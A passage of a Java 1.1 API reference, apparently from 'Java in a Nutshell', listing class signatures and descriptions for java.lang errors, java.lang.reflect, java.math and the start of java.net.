            public UnknownError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->VirtualMachineError->UnknownError

Previous | Home | Next
java.lang.Throwable (JDK 1.0) | Book Index | java.lang.UnsatisfiedLinkError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.66 java.lang.UnsatisfiedLinkError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.66 java.lang.UnsatisfiedLinkError (JDK 1.0)

Signals that Java cannot satisfy all of the links in a class that it has loaded.

public class UnsatisfiedLinkError extends LinkageError {
    // Public Constructors
            public UnsatisfiedLinkError();
            public UnsatisfiedLinkError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->UnsatisfiedLinkError

Previous | Home | Next
java.lang.UnknownError (JDK 1.0) | Book Index | java.lang.VerifyError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.67 java.lang.VerifyError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.67 java.lang.VerifyError (JDK 1.0)

Signals that a class has not passed the byte-code verification procedures.

public class VerifyError extends LinkageError {
    // Public Constructors
            public VerifyError();
            public VerifyError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->VerifyError

Previous | Home | Next
java.lang.UnsatisfiedLinkError (JDK 1.0) | Book Index | java.lang.VirtualMachineError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.68 java.lang.VirtualMachineError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.68 java.lang.VirtualMachineError (JDK 1.0)

An abstract error type that serves as superclass for a group of errors related to the Java Virtual Machine. See InternalError, UnknownError, OutOfMemoryError, and StackOverflowError.

public abstract class VirtualMachineError extends Error {
    // Public Constructors
            public VirtualMachineError();
            public VirtualMachineError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->VirtualMachineError

Extended By:

InternalError, OutOfMemoryError, StackOverflowError, UnknownError

Previous | Home | Next
java.lang.VerifyError (JDK 1.0) | Book Index | java.lang.Void (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.69 java.lang.Void (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.69 java.lang.Void (JDK 1.1)

The Void class may not be instantiated, and serves merely as a placeholder for its static TYPE field, which is a Class object constant that represents the void type.

public final class Void extends Object {
    // No Constructor
    // Constants
            public static final Class TYPE;
}

Previous | Home | Next
java.lang.VirtualMachineError (JDK 1.0) | Book Index | The java.lang.reflect Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] The java.lang Package

Java in a Nutshell

Previous Chapter 25 Next

25. The java.lang Package

Contents:

Select a new section and then

The java.lang package contains the classes that are most central to the Java language. As you can see from Figure 25.1, the class hierarchy is broad rather than deep, which means that the classes are independent of each other.

Figure 25.1: The java.lang package

[Graphic: Figure 25-1]

Object is the ultimate superclass of all Java classes and is therefore at the top of all class hierarchies. Class is a class that describes a Java class. There is one Class object for each class that is loaded into Java.

Boolean, Character, Byte, Short, Integer, Long, Float, and Double are immutable class wrappers around each of the primitive Java data types. These classes are useful when you need to manipulate primitive types as objects. They also contain useful conversion and utility methods.

String and StringBuffer are objects that represent strings. String is an immutable type; StringBuffer may have its string changed in place.

Runtime provides a number of low-level methods associated with the Java run-time system. System provides similar low-level system methods. All the System methods are class methods, and this class may not be instantiated. Math is a similar class that supports only class methods--its methods provide floating-point math support.

The Thread class provides support for multiple threads of control running within the same Java interpreter. Process defines a platform-independent interface to platform-dependent processes running externally to the Java interpreter.

Throwable is the root class of the exception and error hierarchy. Throwable objects are used with the Java throw and catch statements. java.lang defines quite a few subclasses of Throwable. Exception and Error are the superclasses of all exceptions and errors. Figure 25.2 and Figure 25.3 show the class hierarchies for these core Java exceptions and errors.

Figure 25.2: The exception classes in the java.lang package

[Graphic: Figure 25-2]

Figure 25.3: The error classes in the java.lang package

[Graphic: Figure 25-3]

25.1 java.lang.AbstractMethodError (JDK 1.0)

Signals an attempt to invoke an abstract method.

public class AbstractMethodError extends IncompatibleClassChangeError {
    // Public Constructors
            public AbstractMethodError();
            public AbstractMethodError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->AbstractMethodError

Previous | Home | Next
java.io.Writer (JDK 1.1) | Book Index | java.lang.ArithmeticException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] The java.lang.reflect Package

Java in a Nutshell

Previous Chapter 26 Next

26. The java.lang.reflect Package

Contents:
java.lang.reflect.Array (JDK 1.1)
java.lang.reflect.Constructor (JDK 1.1)
java.lang.reflect.Field (JDK 1.1)
java.lang.reflect.InvocationTargetException (JDK 1.1)
java.lang.reflect.Member (JDK 1.1)
java.lang.reflect.Method (JDK 1.1)
java.lang.reflect.Modifier (JDK 1.1)

The java.lang.reflect package contains the classes and interfaces that, along with java.lang.Class, comprise the Java Reflection API. This package is new in Java 1.1. Figure 26.1 shows the class hierarchy.

The Constructor, Field, and Method classes represent constructors, fields, and methods of a class. Because these types all represent members of a class, they each implement the Member interface, which defines a simple set of methods that can be invoked for any class member. These classes allow information about the class members to be obtained, and allow methods and constructors to be invoked and fields to be queried and set.

Class member modifiers are represented as integers that specify a number of bit flags. The Modifier class defines static methods that are useful in interpreting the meanings of these flags. The Array class defines static methods for creating arrays and reading and writing array elements.

See Chapter 12, Reflection for examples of using these classes.

Figure 26.1: The java.lang.reflect package

[Graphic: Figure 26-1]

26.1 java.lang.reflect.Array (JDK 1.1)

This class contains methods that allow you to set and query the values of array elements, to determine the length of an array, and to create new instances of arrays. Note that the Array class is used for manipulating array values, not array types; Java data types, including array types, are represented by java.lang.Class. Since the Array class represents a Java value, unlike the Field, Method, and Constructor classes which represent class members, the Array class is significantly different (despite some surface similarities) from those other classes in this package. Most notably, all the methods of Array are static and apply to all array values, rather than applying only to a specific field, method, or constructor.

The get() method returns the value of the specified element of the specified array as an Object. If the array elements are of a primitive type, the value is converted to a wrapper object before being returned. You can also use getInteger() and related methods to query array elements and return them as specific primitive types. The set() method and its primitive type variants perform the opposite operation. Also, the getLength() method returns the length of the array.

The newInstance() methods create new arrays. One version of this method is passed the number of elements in the array and the type of those elements. The other version of this method creates multidimensional arrays. Besides just specifying the component type of the array, it is passed an array of numbers. The length of this array specifies the number of dimensions for the array to be created, and the values of each array element specify the size of each dimension of the created array.

public final class Array extends Object {
    // No Constructor
    // Class Methods
            public static native Object get(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native boolean getBoolean(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native byte getByte(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native char getChar(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native double getDouble(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native float getFloat(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native int getInt(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native int getLength(Object array) throws IllegalArgumentException;
            public static native long getLong(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native short getShort(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static Object newInstance(Class componentType, int length) throws NegativeArraySizeException;
            public static Object newInstance(Class componentType, int[] dimensions) throws IllegalArgumentException, NegativeArraySizeException;
            public static native void set(Object array, int index, Object value) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setBoolean(Object array, int index, boolean z) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setByte(Object array, int index, byte b) Xsthrows IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setChar(Object array, int index, char c) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setDouble(Object array, int index, double d) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setFloat(Object array, int index, float f) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setInt(Object array, int index, int i) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setLong(Object array, int index, long l) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
            public static native void setShort(Object array, int index, short s) throws IllegalArgumentException, ArrayIndexOutOfBoundsException;
}

Previous | Home | Next
java.lang.Void (JDK 1.1) | Book Index | java.lang.reflect.Constructor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.2 java.lang.reflect.Constructor (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.2 java.lang.reflect.Constructor (JDK 1.1)

This class represents a constructor method of a class. Instances of Constructor are obtained by calling getConstructor() and related methods of java.lang.Class. Constructor implements the Member interface, so you can use the methods of that interface to obtain the constructor name, modifiers, and declaring class. In addition, getParameterTypes() and getExceptionTypes() also return important information about the represented constructor.

In addition to these methods that return information about the constructor, the newInstance() method allows the constructor to be invoked with an array of arguments in order to create a new instance of the class that declares the constructor. If any of the arguments to the constructor are of primitive types, they must be converted to their corresponding wrapper object types in order to be passed to newInstance(). If the constructor causes an exception, the Throwable object it throws is wrapped within the InvocationTargetException that is thrown by newInstance(). Note that newInstance() is much more useful than the newInstance() method of java.lang.Class because it can pass arguments to the constructor.

public final class Constructor extends Object implements Member {
    // No Constructor
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public Class getDeclaringClass();  // From Member
            public Class[] getExceptionTypes();
            public native int getModifiers();  // From Member
            public String getName();  // From Member
            public Class[] getParameterTypes();
            public int hashCode();  // Overrides Object
            public native Object newInstance(Object[] initargs) throws InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException;
            public String toString();  // Overrides Object
}

Returned By:

Class.getConstructor(),
Class.getConstructors(),
Class.getDeclaredConstructor(),
Class.getDeclaredConstructors()

Previous | Home | Next
java.lang.reflect.Array (JDK 1.1) | Book Index | java.lang.reflect.Field (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.3 java.lang.reflect.Field (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.3 java.lang.reflect.Field (JDK 1.1)

This class represents a field of a class. Instances of Field are obtained by calling the getField() and related methods of java.lang.Class. Field implements the Member interface, so once you have obtained a Field object, you can use getName(), getModifiers(), and getDeclaringClass() to determine the name, modifiers, and class of the field. Additionally, getType() returns the type of the field.

The set() method sets the value of the represented field for a specified object to a given value. (If the represented field is static, then no object need be specified for it to be set upon, of course.) If the field is of a primitive type, its value can be specified using a wrapper object of type Boolean, Integer, and so on, or it can be set using the setBoolean(), setInt(), and related methods.

Similarly, the get() method queries the value of the represented field for a specified object and returns the field value as an Object. Various other methods query the field value and return it as various primitive types.

public final class Field extends Object implements Member {
    // No Constructor
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public native Object get(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native boolean getBoolean(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native byte getByte(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native char getChar(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public Class getDeclaringClass();  // From Member
            public native double getDouble(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native float getFloat(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native int getInt(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native long getLong(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public native int getModifiers();  // From Member
            public String getName();  // From Member
            public native short getShort(Object obj) throws IllegalArgumentException, IllegalAccessException;
            public Class getType();
            public int hashCode();  // Overrides Object
            public native void set(Object obj, Object value) throws IllegalArgumentException, IllegalAccessException;
            public native void setBoolean(Object obj, boolean z) throws IllegalArgumentException, IllegalAccessException;
            public native void setByte(Object obj, byte b) throws IllegalArgumentException, IllegalAccessException;
            public native void setChar(Object obj, char c) throws IllegalArgumentException, IllegalAccessException;
            public native void setDouble(Object obj, double d) throws IllegalArgumentException, IllegalAccessException;
            public native void setFloat(Object obj, float f) throws IllegalArgumentException, IllegalAccessException;
            public native void setInt(Object obj, int i) throws IllegalArgumentException, IllegalAccessException;
            public native void setLong(Object obj, long l) throws IllegalArgumentException, IllegalAccessException;
            public native void setShort(Object obj, short s) throws IllegalArgumentException, IllegalAccessException;
            public String toString();  // Overrides Object
}

Returned By:

Class.getDeclaredField(),
Class.getDeclaredFields(),
Class.getField(),
Class.getFields()

Previous | Home | Next
java.lang.reflect.Constructor (JDK 1.1) | Book Index | java.lang.reflect.InvocationTargetException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.4 java.lang.reflect.InvocationTargetException (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.4 java.lang.reflect.InvocationTargetException (JDK 1.1)

An object of this class is thrown by Method.invoke() and Constructor.newInstance() when an exception is thrown by the method or constructor invoked through those methods. The InvocationTargetException class serves as a wrapper around the object that was thrown; that object can be retrieved with the getTargetException() method.

public class InvocationTargetException extends Exception {
    // Public Constructors
            public InvocationTargetException(Throwable target);
            public InvocationTargetException(Throwable target, String s);
    // Protected Constructor
            protected InvocationTargetException();
    // Public Instance Methods
            public Throwable getTargetException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->InvocationTargetException

Thrown By:

Constructor.newInstance(), Method.invoke()

Previous | Home | Next
java.lang.reflect.Field (JDK 1.1) | Book Index | java.lang.reflect.Member (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.5 java.lang.reflect.Member (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.5 java.lang.reflect.Member (JDK 1.1)

This interface defines the methods shared by all members (fields, methods, and constructors) of a class. getName() returns the name of the member, getModifiers() returns its modifiers, and getDeclaringClass() returns the Class object that represents the class of which the member is a part.

public abstract interface Member {
    // Constants
            public static final int DECLARED;
            public static final int PUBLIC;
    // Public Instance Methods
            public abstract Class getDeclaringClass();
            public abstract int getModifiers();
            public abstract String getName();
}

Implemented By:

Constructor, Field, Method

Previous | Home | Next
java.lang.reflect.InvocationTargetException (JDK 1.1) | Book Index | java.lang.reflect.Method (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.6 java.lang.reflect.Method (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.6 java.lang.reflect.Method (JDK 1.1)

This class represents a method. Instances of Method are obtained by calling the getMethod() and related methods of java.lang.Class. Method implements the Member interface, so you can use the methods of that interface to obtain the method name, modifiers, and declaring class. In addition, getReturnType(), getParameterTypes(), and getExceptionTypes() also return important information about the represented method.

Perhaps most important, the invoke() method allows the method represented by the Method object to be invoked with a specified array of argument values. If any of the arguments are of primitive types, they must be converted to their corresponding wrapper object types in order to be passed to invoke(). If the represented method is an instance method (i.e., if it is not static), the instance on which it should be invoked must also be passed to invoke(). The return value of the represented method is returned by invoke(). If the return value is a primitive value, it is first converted to the corresponding wrapper type. If the invoked method causes an exception, the Throwable object it throws is wrapped within the InvocationTargetException that is thrown by invoke().

public final class Method extends Object implements Member {
    // No Constructor
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public Class getDeclaringClass();  // From Member
            public Class[] getExceptionTypes();
            public native int getModifiers();  // From Member
            public String getName();  // From Member
            public Class[] getParameterTypes();
            public Class getReturnType();
            public int hashCode();  // Overrides Object
            public native Object invoke(Object obj, Object[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException;
            public String toString();  // Overrides Object
}

Passed To:

EventSetDescriptor(),
IndexedPropertyDescriptor(),
MethodDescriptor(),
PropertyDescriptor()

Returned By:

Class.getDeclaredMethod(),
Class.getDeclaredMethods(),
Class.getMethod(),
Class.getMethods(),
EventSetDescriptor.getAddListenerMethod(),
EventSetDescriptor.getListenerMethods(),
EventSetDescriptor.getRemoveListenerMethod(),
IndexedPropertyDescriptor.getIndexedReadMethod(),
IndexedPropertyDescriptor.getIndexedWriteMethod(),
MethodDescriptor.getMethod(),
PropertyDescriptor.getReadMethod(),
PropertyDescriptor.getWriteMethod()

Previous | Home | Next
java.lang.reflect.Member (JDK 1.1) | Book Index | java.lang.reflect.Modifier (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 26] 26.7 java.lang.reflect.Modifier (JDK 1.1)

Java in a Nutshell

Previous Chapter 26
The java.lang.reflect Package 		Next

26.7 java.lang.reflect.Modifier (JDK 1.1)

This class defines a number of constants and static methods that are used to interpret the integer values returned by the getModifiers() methods of the Field, Method, and Constructor classes. The isPublic(), isAbstract(), and related methods return true if the modifiers value includes the specified modifier, otherwise they return false.

The constants defined by this class specify the various bit flags used in the modifiers value. You can use these constants to test for modifiers if you want to perform your own boolean algebra.

public class Modifier extends Object {
    // Default Constructor: public Modifier()
    // Constants
            public static final int ABSTRACT;
            public static final int FINAL;
            public static final int INTERFACE;
            public static final int NATIVE;
            public static final int PRIVATE;
            public static final int PROTECTED;
            public static final int PUBLIC;
            public static final int STATIC;
            public static final int SYNCHRONIZED;
            public static final int TRANSIENT;
            public static final int VOLATILE;
    // Class Methods
            public static boolean isAbstract(int mod);
            public static boolean isFinal(int mod);
            public static boolean isInterface(int mod);
            public static boolean isNative(int mod);
            public static boolean isPrivate(int mod);
            public static boolean isProtected(int mod);
            public static boolean isPublic(int mod);
            public static boolean isStatic(int mod);
            public static boolean isSynchronized(int mod);
            public static boolean isTransient(int mod);
            public static boolean isVolatile(int mod);
            public static String toString(int mod);
}

Previous | Home | Next
java.lang.reflect.Method (JDK 1.1) | Book Index | The java.math Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 27] The java.math Package

Java in a Nutshell

Previous Chapter 27 Next

27. The java.math Package

Contents:
java.math.BigDecimal (JDK 1.1)
java.math.BigInteger (JDK 1.1)

The java.math package, new in Java 1.1, contains classes for arbitrary-precision integer and floating-point arithmetic. Arbitrary-length integers are required for cryptography, and arbitrary-precision floating-point values are useful for financial applications that need to be careful about rounding errors. The class hierarchy of this extremely small package is shown in Figure 27.1.

Figure 27.1: The java.math package

[Graphic: Figure 27-1]

27.1 java.math.BigDecimal (JDK 1.1)

This subclass of java.lang.Number represents a floating-point number of arbitrary size and precision. Its methods duplicate the functionality of the standard Java arithmetic operators. The compareTo() method compares the value of two BigDecimal objects and returns -1, 0, or 1 to indicate the result of the comparison.

BigDecimal objects are represented as an integer of arbitrary size and an integer scale that specifies the number of decimal places in the value. When working with BigDecimal values, you can explicitly specify the amount of precision (the number of decimal places) you are interested in. Also, whenever a BigDecimal method may discard precision (in a division operation, for example), you are required to specify what sort of rounding should be performed on the digit to the left of the discarded digit or digits. The eight constants defined by this class specify the available rounding modes. Because the BigDecimal class provides arbitrary precision and gives you explicit control over rounding and the number of decimal places you are interested in, it can be useful when dealing with quantities that represent money, or in other circumstances where the tolerance for rounding errors is low.

public class BigDecimal extends Number {
    // Public Constructors
            public BigDecimal(String val) throws NumberFormatException;
            public BigDecimal(double val) throws NumberFormatException;
            public BigDecimal(BigInteger val);
            public BigDecimal(BigInteger val, int scale) throws NumberFormatException;
    // Constants
            public static final int ROUND_CEILING;
            public static final int ROUND_DOWN;
            public static final int ROUND_FLOOR;
            public static final int ROUND_HALF_DOWN;
            public static final int ROUND_HALF_EVEN;
            public static final int ROUND_HALF_UP;
            public static final int ROUND_UNNECESSARY;
            public static final int ROUND_UP;
    // Class Methods
            public static BigDecimal valueOf(long val, int scale) throws NumberFormatException;
            public static BigDecimal valueOf(long val);
    // Public Instance Methods
            public BigDecimal abs();
            public BigDecimal add(BigDecimal val);
            public int compareTo(BigDecimal val);
            public BigDecimal divide(BigDecimal val, int scale, int roundingMode) throws ArithmeticException, IllegalArgumentException;
            public BigDecimal divide(BigDecimal val, int roundingMode) throws ArithmeticException, IllegalArgumentException;
            public double doubleValue();  // Defines Number
            public boolean equals(Object x);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public long longValue();  // Defines Number
            public BigDecimal max(BigDecimal val);
            public BigDecimal min(BigDecimal val);
            public BigDecimal movePointLeft(int n);
            public BigDecimal movePointRight(int n);
            public BigDecimal multiply(BigDecimal val);
            public BigDecimal negate();
            public int scale();
            public BigDecimal setScale(int scale, int roundingMode) throws ArithmeticException, IllegalArgumentException;
            public BigDecimal setScale(int scale) throws ArithmeticException, IllegalArgumentException;
            public int signum();
            public BigDecimal subtract(BigDecimal val);
            public BigInteger toBigInteger();
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->BigDecimal

Previous | Home | Next
java.lang.reflect.Modifier (JDK 1.1) | Book Index | java.math.BigInteger (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 27] 27.2 java.math.BigInteger (JDK 1.1)

Java in a Nutshell

Previous Chapter 27
The java.math Package 		Next

27.2 java.math.BigInteger (JDK 1.1)

This subclass of java.lang.Number represents integers that can be arbitrarily large--i.e., integers that are not limited to the 64 bits available with the long data type. BigInteger defines methods that duplicate the functionality of the standard Java arithmetic and bit-manipulation operators. The compareTo() method compares two BigInteger objects, and returns -1, 0, or 1 to indicate the result of the comparison.

The gcd(), modPow(), modInverse(), and isProbablePrime() methods perform advanced operations and are used primarily in cryptography and related algorithms.

public class BigInteger extends Number {
    // Public Constructors
            public BigInteger(byte[] val) throws NumberFormatException;
            public BigInteger(int signum, byte[] magnitude) throws NumberFormatException;
            public BigInteger(String val, int radix) throws NumberFormatException;
            public BigInteger(String val) throws NumberFormatException;
            public BigInteger(int numBits, Random rndSrc) throws IllegalArgumentException;
            public BigInteger(int bitLength, int certainty, Random rnd);
    // Class Methods
            public static BigInteger valueOf(long val);
    // Public Instance Methods
            public BigInteger abs();
            public BigInteger add(BigInteger val) throws ArithmeticException;
            public BigInteger and(BigInteger val);
            public BigInteger andNot(BigInteger val);
            public int bitCount();
            public int bitLength();
            public BigInteger clearBit(int n) throws ArithmeticException;
            public int compareTo(BigInteger val);
            public BigInteger divide(BigInteger val) throws ArithmeticException;
            public BigInteger[] divideAndRemainder(BigInteger val) throws ArithmeticException;
            public double doubleValue();  // Defines Number
            public boolean equals(Object x);  // Overrides Object
            public BigInteger flipBit(int n) throws ArithmeticException;
            public float floatValue();  // Defines Number
            public BigInteger gcd(BigInteger val);
            public int getLowestSetBit();
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public boolean isProbablePrime(int certainty);
            public long longValue();  // Defines Number
            public BigInteger max(BigInteger val);
            public BigInteger min(BigInteger val);
            public BigInteger mod(BigInteger m);
            public BigInteger modInverse(BigInteger m) throws ArithmeticException;
            public BigInteger modPow(BigInteger exponent, BigInteger m);
            public BigInteger multiply(BigInteger val);
            public BigInteger negate();
            public BigInteger not();
            public BigInteger or(BigInteger val);
            public BigInteger pow(int exponent) throws ArithmeticException;
            public BigInteger remainder(BigInteger val) throws ArithmeticException;
            public BigInteger setBit(int n) throws ArithmeticException;
            public BigInteger shiftLeft(int n);
            public BigInteger shiftRight(int n);
            public int signum();
            public BigInteger subtract(BigInteger val);
            public boolean testBit(int n) throws ArithmeticException;
            public byte[] toByteArray();
            public String toString(int radix);
            public String toString();  // Overrides Object
            public BigInteger xor(BigInteger val);
}

Hierarchy:

Object->Number(Serializable)->BigInteger

Passed To:

BigDecimal()

Returned By:

BigDecimal.toBigInteger()

Previous | Home | Next
java.math.BigDecimal (JDK 1.1) | Book Index | The java.net Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] The java.net Package

Java in a Nutshell

Previous Chapter 28 Next

28. The java.net Package

Contents:
java.net.ConnectException (JDK 1.1)
java.net.ContentHandler (JDK 1.0)
java.net.ContentHandlerFactory (JDK 1.0)
java.net.DatagramPacket (JDK 1.0)
java.net.DatagramSocket (JDK 1.0)
java.net.DatagramSocketImpl (JDK 1.1)
java.net.FileNameMap (JDK 1.1)
java.net.HttpURLConnection (JDK 1.1)
java.net.InetAddress (JDK 1.0)
java.net.MalformedURLException (JDK 1.0)
java.net.MulticastSocket (JDK 1.1)
java.net.NoRouteToHostException (JDK 1.1)
java.net.ProtocolException (JDK 1.0)
java.net.ServerSocket (JDK 1.0)
java.net.Socket (JDK 1.0)
java.net.SocketException (JDK 1.0)
java.net.SocketImpl (JDK 1.0)
java.net.SocketImplFactory (JDK 1.0)
java.net.UnknownHostException (JDK 1.0)
java.net.UnknownServiceException (JDK 1.0)
java.net.URL (JDK 1.0)
java.net.URLConnection (JDK 1.0)
java.net.URLEncoder (JDK 1.0)
java.net.URLStreamHandler (JDK 1.0)
java.net.URLStreamHandlerFactory (JDK 1.0)

The java.net package provides a powerful and flexible infrastructure for networking. Figure 28.1 shows the class hierarchy for this package. Many of the classes in this package are part of the networking infrastructure and are not used by normal applications; these complicated classes can make the package a difficult one to understand. In this overview we describe only the classes that an application might normally use.

Figure 28.1: The java.net package

[Graphic: Figure 28-1]

The URL class represents an Internet Uniform Resource Locator. It provides a very simple interface to networking--the object referred to by the URL can be downloaded with a single call, or streams may be opened to read from or write to the object.

At a slightly more complex level, the URLConnection object may be obtained from a given URL object. The URLConnection class provides additional methods that allow you to work with URLs in more sophisticated ways.

If you want to do more than simply download an object referenced by a URL, you can do your own networking with the Socket class. This class allows you to connect to a specified port on a specified Internet host and read and write data using the InputStream and OutputStream classes of the java.io package. If you want to implement a server to accept connections from clients, you can use the related ServerSocket class. Both Socket and ServerSocket use the InetAddress address class, which represents an Internet address.

The java.net package allows you to do low-level networking with DatagramPacket objects which may be sent and received over the network through a DatagramSocket object. In Java 1.1, the package has been extended to include a MulticastSocket class that supports multicast networking.

28.1 java.net.BindException (JDK 1.1)

This exception signals that a socket could not be bound to a local address and port. This often means that the port is already in use.

public class BindException extends SocketException {
    // Public Constructors
            public BindException(String msg);
            public BindException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SocketException->BindException

Previous | Home | Next
java.math.BigInteger (JDK 1.1) | Book Index | java.net.ConnectException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.2 java.net.ConnectException (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.2 java.net.ConnectException (JDK 1.1)

This exception signals that a socket could not be connected to a remote address and port. This means that the remote host could be reached, but is not responding, perhaps because there is no process on that host that is listening on the specified port.

public class ConnectException extends SocketException {
    // Public Constructors
            public ConnectException(String msg);
            public ConnectException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SocketException->ConnectException

Previous | Home | Next
java.net.BindException (JDK 1.1) | Book Index | java.net.ContentHandler (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.3 java.net.ContentHandler (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.3 java.net.ContentHandler (JDK 1.0)

This abstract class defines a method that reads data from a URLConnection and returns an object representing that data. Each subclass that implements this method is responsible for handling a different type of content (i.e., a different MIME type). Applications never create ContentHandler objects directly--they are created, when necessary, by the registered ContentHandlerFactory object. Applications should also never call ContentHandler methods directly--they should call URL.getContent() or URLConnection.getContent() instead. You only need to subclass ContentHandler if you are writing a Web browser or similar application that needs to parse and understand some new content type.

public abstract class ContentHandler extends Object {
    // Default Constructor: public ContentHandler()
    // Public Instance Methods
            public abstract Object getContent(URLConnection urlc) throws IOException;
}

Returned By:

ContentHandlerFactory.createContentHandler()

Previous | Home | Next
java.net.ConnectException (JDK 1.1) | Book Index | java.net.ContentHandlerFactory (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.4 java.net.ContentHandlerFactory (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.4 java.net.ContentHandlerFactory (JDK 1.0)

This interface defines a method that creates and returns an appropriate ContentHandler object for a specified MIME type. A system-wide ContentHandlerFactory interface may be specified by using the URLConnection.setContentHandlerFactory() method.

Normal applications never need to use or implement this interface.

public abstract interface ContentHandlerFactory {
    // Public Instance Methods
            public abstract ContentHandler createContentHandler(String mimetype);
}

Passed To:

URLConnection.setContentHandlerFactory()

Previous | Home | Next
java.net.ContentHandler (JDK 1.0) | Book Index | java.net.DatagramPacket (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.5 java.net.DatagramPacket (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.5 java.net.DatagramPacket (JDK 1.0)

This class implements a "packet" of data that may be sent or received over the network through a DatagramSocket. One of the DatagramPacket constructors specifies an array of binary data to be sent with its destination address and port. A packet created with this constructor may then be sent with the send() method of a DatagramSocket. The other DatagramPacket constructor specifies an array of bytes into which data should be received. The receive() method of DatagramSocket waits for data and stores it in a DatagramPacket created in this way. The contents and sender of a received packet may be queried with the DatagramPacket instance methods.

public final class DatagramPacket extends Object {
    // Public Constructors
